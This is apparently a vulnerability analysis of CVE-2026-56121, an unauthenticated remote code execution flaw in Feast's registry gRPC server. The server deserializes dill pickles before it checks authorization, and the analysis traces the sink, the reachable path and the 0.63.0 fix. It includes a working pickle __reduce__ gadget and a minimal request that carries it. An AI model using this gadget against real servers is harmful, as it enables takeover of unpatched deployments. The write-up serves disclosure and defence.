# Code-level analysis — CVE-2026-56121 ## 1. The deserialization sink Feast serializes an `OnDemandFeatureView`'s transformation function with `dill` (a pickle superset) into `UserDefinedFunctionV2.body`. The transformation classes deserialize it verbatim in `from_proto`: ```python # sdk/python/feast/transformation/pandas_transformation.py (and python_transformation.py) import dill @classmethod def from_proto(cls, user_defined_function_proto): return cls( udf=dill.loads(user_defined_function_proto.body), # SINK udf_string=user_defined_function_proto.body_text, ) ``` `dill.loads()` runs the pickle opcode stream, so a `body` containing a reduce gadget — `(os.system, ("…",))` — executes a command while being "loaded". ## 2. The remotely reachable path The registry gRPC server exposes `ApplyFeatureView`: ```python # sdk/python/feast/registry_server.py def ApplyFeatureView(self, request, context): feature_view_type = request.WhichOneof("base_feature_view") if feature_view_type == "feature_view": feature_view = FeatureView.from_proto(request.feature_view) elif feature_view_type == "on_demand_feature_view": feature_view = OnDemandFeatureView.from_proto(request.on_demand_feature_view) # -> dill.loads elif feature_view_type == "stream_feature_view": feature_view = StreamFeatureView.from_proto(request.stream_feature_view) assert_permissions_to_update(resource=feature_view, ...) # authorization is AFTER from_proto self.proxied_registry.apply_feature_view(...) return Empty() ``` `OnDemandFeatureView.from_proto` → `_parse_transformation_from_proto` → `PandasTransformation.from_proto` → `dill.loads(body)`. `server.add_insecure_port("[::]:6570")` (no TLS) and the default `feature_store.yaml` ships: ```yaml auth: type: no_auth ``` So in a default deployment the call is fully unauthenticated; and even with `auth` enabled, the deserialization at `from_proto` executes **before** `assert_permissions_to_update` is reached — which is why the advisory describes it as exploitable by "unauthenticated **or unauthorized**" attackers. ## 3. Minimal weaponized proto ``` ApplyFeatureViewRequest { project: "feature_repo" on_demand_feature_view { spec { name: "pwn" mode: "pandas" feature_transformation { user_defined_function { name:"pwn", body:, body_text:"...", mode:"pandas" } } } } } ``` `OnDemandFeatureView.from_proto` defaults `mode` to `"pandas"` and parses the transformation before validating sources/features, so this minimal spec reaches the sink. The reduce gadget: ```python class _Payload: def __init__(self, cmd): self.cmd = cmd def __reduce__(self): import os return (os.system, (self.cmd,)) body = pickle.dumps(_Payload("id > /tmp/feast_pwned")) ``` `os.system` returns `0`; `from_proto` then treats `0` as the UDF and later raises `TypeError: 0 is not a module, class, method, or function`. That post-execution error is cosmetic — the command already ran inside `dill.loads()`. ## 4. The fix (0.63.0) `0.63.0` threads a `skip_udf` flag through `*FeatureView.from_proto` and sets it on the **registry server** path, so applying a spec no longer deserializes the UDF body (the registry only needs to persist the bytes, not execute them): ```python # patched registry_server.py / from_proto OnDemandFeatureView.from_proto(request.on_demand_feature_view, skip_udf=True) ... # from_proto: "Parse transformation from proto (skip UDF deserialization if requested)" if proto.spec.HasField("user_defined_function") and not skip_udf: ... dill.loads(...) ``` With `skip_udf=True` on the server, the `dill.loads` sink is never reached for attacker-supplied specs — the binary discriminator between **VULNERABLE (< 0.63.0)** and **PATCHED (≥ 0.63.0)**.